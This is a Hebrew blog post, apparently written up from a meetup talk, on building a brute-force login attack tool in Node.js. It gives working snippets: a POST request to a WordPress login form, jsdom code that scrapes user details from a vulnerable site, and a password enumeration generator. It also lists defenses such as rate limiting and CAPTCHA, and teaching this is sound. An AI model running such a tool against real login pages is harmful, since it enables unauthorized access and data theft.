התקפת ברוט פורס עם node

איך בונים כלי שמנצל חולשת ברוט פורס עם קצת זמן ו-node.js
מעגל ה-brute force

לפני כמה ימים התכבדתי להעביר הרצאה קצרה במיטאפ של קבוצת frontend-il שעורכת מפגשים ומיטאפים. כבר הגעתי לכמה מיטאפים שלהם ונהניתי מאוד. אני ממליץ בחום רב להשתתף בהם. באותו session, שהתקיים במשרדי חברת OATH, בה אני עובד, היו מעולות אחרות. ההרצאה הקצרה שלי היתה בנושא brute force והמאמר הזה הוא סוג של תמליל עם הקדמה.
גם כאן אני מזהיר את הקוראים באזהרה הרגילה:
אזהרה חמורה: המאמר הזה נועד למפתחי ווב אשר מעוניינים ללמוד או להכיר שיטות התקפה בסיסיות על מנת להבין אותן לעומק ולהתמגן בפניהן. המאמר מכיל מידע טכני המיועד למתכנתים ואינו מיועד לקהל הרחב או מלמד חסרי ידע טכני.
המאמר אינו מיועד ללימוד כיצד לפרוץ למחשבים אחרים., כיצד להיות 'האקר' או כיצד להיות 'סייבר-מן'. אני מזכיר לכל הקוראים את חוק המחשבים שגוזר עד שלוש שנות מאסר לכל מי שמבצע חדירה לא מורשית למחשב. כלומר, אפילו 'סתם' בדיקה יכולה לסבך אתכם בכתב אישום פלילי. במידה ואתם בכל זאת מעוניינים לעבור על החוק ולהיות האקרים, אל תטרחו לקרוא את המאמר.

Hackerman
3 מגהבייט של תמונה אבל זה האתר שלי ואני אנפח אותו אם ארצה.

הם הלכו? יופי. נצטייד בקפוצ'ון ונדבר קצת על ההתקפה הזו. אז מה זה brute force? מדובר ב (אולי) ההתקפה הותיקה ביותר שאפשר לבצע על מערכת ממוחשבת כלשהי. בואו ונניח שאני רוצה להכנס להתחבר למערכת שהיא לא שלי. למשל למערכת ניהול של אתר. על מנת לנחש את הסיסמה אני יכול לבדוק (למשל): a000001 ואחר כך a000002 וכך הלאה עד שאני מכסה את כל הסימנים ואת כל האותיות. בסופו של דבר, אני אצליח, אם אקליד מספיק צירופים, לנחש את הצירוף הנכון. להקליד ידנית צירופים זה כמובן לא יעיל. לכתוב צירוף, ללחוץ על אנטר ולחכות לתשובה בדפדפן זה מאוד איטי ואין לי שום סיכוי אפילו לנחש סיסמה פשוטה. אבל כשפורצים מגלים חולשת ברוט פורס הם מנצלים אותה באמצעות כתיבת סקריפטים שלא עוברים בדפדפן. סקריפטים מספיק טובים יכולים ליצור מאות קריאות בשניה ולבצע ניחושים מספיק מהר.
כיוון שמדובר בהתקפה מאוד עתיקה, יש לא מעט הגנות מפניה. ההגנה הפשוטה ביותר היא להגביל את מספר הניסיונות להכניס סיסמה. למשל באתר זה, אם תנסו לעשות לוגאין שגוי יותר משלוש פעמים, תחסמו ל-20 דקות. הגנות יותר מתוחכמות הן לאכוף על המשתמשים סיסמאות ארוכות. למשל שימוש בסיסמה בת 20 תוים הופך את מלאכת הפיצוח לקשה בהרבה. דרך נוספת היא באמצעות לוגין כפול: ניתן להתחבר לאתר רק לאחר משלוח סמס. יש גם הגנות הנשענות על מנגנון וידוא האנושיות של גוגל שמוכר לרבים מכם:

מתוך גוגל.קום

ההגנה הזו נראית פשוטה, אך היא מאוד מורכבת מאחורי הקלעים. יש כמובן עוד שפע של הגנות שאני לא הולך לתאר כאן.

בדרך כלל כשאומרים שאתר אינו מוגן מפני ברוט פורס, מתכוונים לזה שהוא לא בולם שטף של הודעות. אם אני מנסה להכנס לאתר עם סיסמה לא נכונה והוא לא בולם אותי או מוודא שאני אנושי לאחר 20-30 ניסיונות, סביר להניח שאין לו הגנת ברוטפורס. כאשר אין הגנה כזו, אפשר לעשות דברים מופלאים. איך? לא צריך מערכת מסובכת במיוחד, כל מה שצריך זה קצת node ומחשבה 🙂

למה node?

Node לא רק לאתרים או סקריפטים משעממים
Node לא רק לאתרים או סקריפטים משעממים

אז כמו שהשקופית אומרת, node היא לכל דבר. לא רק לתשתית עבור אתרים, API, סקריפטים או דברים משעממים. אפשר לעשות איתה גם התקפות brute force!

ילדי הסקריפטים המשועממים יאמרו "אבל סבאל'ה, יש לנו את קאלי בשביל זה". מה הבעיה? שקאלי מכילה כלים מובנים, כלומר אם אני רוצה לנסות ולפרוץ למערכות מוכרות וידועות כמו וורדפרס, ג'ומלה או דרופל, אין בעיה. אבל מה קורה אם אני רוצה לנצל פרצת brute force כמו במפלגת העבודה למשל? בפרצה ההיא, למי שזכר, ה-API היה חשוף להתקפת brute force ואיפשר לשאוב את כל מאגר המידע של המתפקדים. כאן קאלי לא תעזור לי, אם אני רוצה לבצע התקפה, אני צריך לכתוב סקריפט שיקרא למידע, ינתח אותו וישמור אותו. אם אני רוצה להתקיף מערכת שמישהו בנה מאפס ויש לה דף לוגין משל עצמה, אני חייב לכתוב סקריפט שידע לקרוא ולעבוד עם דף הלוגין. אין כלי מובנה שיעשה את זה.

בסרטון שלעיל אפשר לראות התקפה של כלי אוטומטי על וורדפרס. ממש פשוט, אבל מה עם זה לא וורדפרס?

non standard login system
non standard login system

התהליך הוא פשוט. הסקריפט שלי צריך לדעת לשגר בקשה. מסוג GET,POST או כל סוג אחר וכמובן עם user agent מתאים אם צריך. אחרי זה לקבל את התשובה, לנתח אותה. אם התשובה חיובית אנחנו צריכים לתעד אותה ואם לא, אז ממשיכים הלאה.

התהליך של הסקריפט: שליחת בקשה-> עיבוד-> דיווח
התהליך של הסקריפט: שליחת בקשה-> עיבוד-> דיווח

שיגור הבקשה

שיגור הבקשה נעשה באמצעות מודול מצויין של node שנקרא בשם המקורי request. המודול פשוט לשימוש וגם קל לשלוח בו בקשות של POST וגם להגדיר Headers בקלות, עוגיות ולזייף user agents. לצערי ברוב האתרים הפרוצים לברוט פורס אין צורך להתאמץ כל כך כי אפילו לא בודקים שם user agent כדי להמנע מבוטים 🙁 אבל אם צריך, אז אפשר. בדרך כלל תצטרכו משהו ממש פשוט כמו הדוגמה הבאה:


const request = require('request');

request.post({ url, form: { log, pwd, testcookie } }, (error, response, body) => {
 if (response.statusCode !== 403) {
   this.outputAnswer(pwd);
 } else {
   console.log(`${pwd} is no good`);
 }
});

כן, זה עד כדי כך פשוט! כאן אני מסמלץ בקשה לדף לוגין של וורדפרס ואני שולח לו בקשת post עם הפרמטרים log (שם המשתמש), pwd (סיסמה) ועוד פרמטר של testcookie. אני גם מעביר callback של התוצאה ששם אני יכול לנתח את הסטטוס של הבקשה. כאמור, רוב האתרים הם די פח אז הם יחזירו לי סטטוס 200 גם בבקשה כושלת או בניסיון בעייתי. בדיוק בשביל זה אני צריך את הניתוח.

ניתוח המידע

כיוון שברוב ההתקפות האתר מחזיר בחזרה HTML, אני נדרש לנתח אותו. ניתוח ה-HTML נעשה באמצעות מודול של node שנקרא jsdom. בגדול הוא ממיר כל מחרוזת טקסט של HTML שאני שולח לו לאובייקט שאפשר לעבוד איתו. השימוש שלו מאוד פשוט:


const jsdom = require('jsdom');
const { JSDOM } = jsdom;

getDetails(body) {
 this.dom = new JSDOM(body);
 const answer = {};
 answer.id = this.id;
 answer.first_name = this.getInputElement('first_name');
 answer.last_name = this.getInputElement('last_name');
 return answer;
}

כאן אני קורא input value מתוך HTML שאני מקבל בחזרה. האתר הפגיע פשוט החזיר HTML של טופס מלא בפרטי משתמשים. כדי לבצע התקפה מוצלחת הייתי צריך לבצע קריאה מתוך ה-input. ככה עשיתי את זה. הרבה פעמים, במיוחד כאשר אנחנו מחפשים סיסמה, אנחנו פשוט מחפשים טקסט שנקרא "רישום נכשל" או "סיסמה לא נכונה" ואת זה ממש קל לעשות עם jsdom שמאפשר לי לגשת ל-HTML ממש כמו בדפדפן אמיתי.

ייצור הסיסמה

ואז נכנסת הבעיה האמיתית של הסיפור. בבקשה אני צריך לשלוח סיסמה שאותה אני צריך לייצר. אם אני מנסה לנחש סיסמה מספרית בת 4 ספרות, אני צריך משהו שמייצר סיסמאות שמתחילות ב-0000 ומסתיימות ב-9999 ויחזיר לי את כולן. איך אני עושה את זה?

אני צריך לייצר סיסמאות ולעבור על כולן כדי לשגר אותן
אני צריך לייצר סיסמאות ולעבור על כולן כדי לשגר אותן

יש לי שתי אפשרויות: או ייצור מראש של הסיסמאות באמצעות כלים אלו ואחרים (יש בקאלי כמה כלים ממש טובים) ולבקש מהסקריפט לקרוא אותן מאיפה שאני שומר אותן או לייצר אותן מאפס.

שתי אפשרויות לייצור סיסמאות
שתי אפשרויות לייצור סיסמאות

לצערי Github נוטה לעתים להוריד מודולים ואלגוריתמים של brute force אבל יש כמה לא רעים שמסתובבים ומיועדים ל-node. ייש לי גם את האלגוריתם הנורא והאיום שחצי-כתבתי שאני משתמש בו.


module.exports = (characters, callback) => {

  let i;
  let intToCharacterBasedString;
  let result;

  if (typeof characters == 'string')
    characters = characters.split('');
  characters.sort();
  characters = characters.filter(function (value, index, arr) {
    if (index < 1) {
      return true;
    } else {
      return value != arr[index - 1];
    }
  });

  characters = [''].concat(characters); 

  intToCharacterBasedString = (num) => {
    var charBasedString, modulo;

    charBasedString = '';

    while (num > 0) {
      modulo = num % characters.length; 
      charBasedString = characters[modulo] + charBasedString;
      num = ((num - modulo) / characters.length); 
    }

    return charBasedString;
  };

  i = 1;
  while (i > 0) {

    result = callback(intToCharacterBasedString(i));

    if (result) { 
      break;
    }

    i++;
  }
};

אבל ברוב הפעמים מספיקה רשימה שמורידים מראש. גם אם אנחנו מנסים סיסמה באופן נאיבי, מומלץ לנסות קודם כל רשימה של כל הסיסמאות המוכרות והשכיחות ביותר (אהם q1w2e3).

אז בגדול די כיסינו את מה שצריך: ייצור סיסמה, שליחת בקשה, ניתוח. כל מה שצריך לעשות זה להכניס ללולאה.

מעגל ה-brute force
מעגל ה-brute force

לסיכום

הראיתי במאמר הזה (ובהרצאה שהיתה הבסיס שלו) כמה קל לבנות ולתפור כלי מיוחד שינצל התקפת ברוט פורס. הכוונה היא לא ללמד אנשים לעשות את זה אלא להראות כמה node.js היא גמישה וקלה ואפשר לעשות איתה באמת הכל.
אני יודע שעבור חלק מהקוראים הדבר הזה יראה כתיאורטי. חולשת ברוט פורס? בשנת 2017? מה השנה בדיוק? אבל לא תאמינו כמה אתרים פגיעים למתקפות האלו וכמה פעמים יוצא לי להתווכח (ממש ככה) עם אנשים שלא מבינים כמה קל להוציא לפועל בקשה כזו. למרבה המזל לייצר הגנה מברוט פורס זה אחד הדברים הכי פשוטים שיש בכל מערכת שהיא. אבל על כך במאמר אחר.

פוסטים נוספים שכדאי לקרוא

תמונת תצוגה של מנעול על מחשב
פתרונות ומאמרים על פיתוח אינטרנט

הגנה מפני XSS עם Trusted Types

תכונה ב-CSP שמאפשרת מניעה כמעט הרמטית להתקפות XSS שכל מפתח ווב צריך להכיר וכדאי שיכיר.

פתרונות ומאמרים על פיתוח אינטרנט

נגישות טכנית – פודקאסט ומבוא

פרק בפודקאסטעל נגישות בעברית שצולל לכלים האוטומטיים ולפן המאד מאד טכני של הנגישות.

עבודה בהיי טק

איך מראיינים סניורים?

השיטה שלי לבדיקת התאמה טכנית למתכנתות ולמתכנתים בכירים עם כמה שנות ניסיון.

גלילה לראש העמוד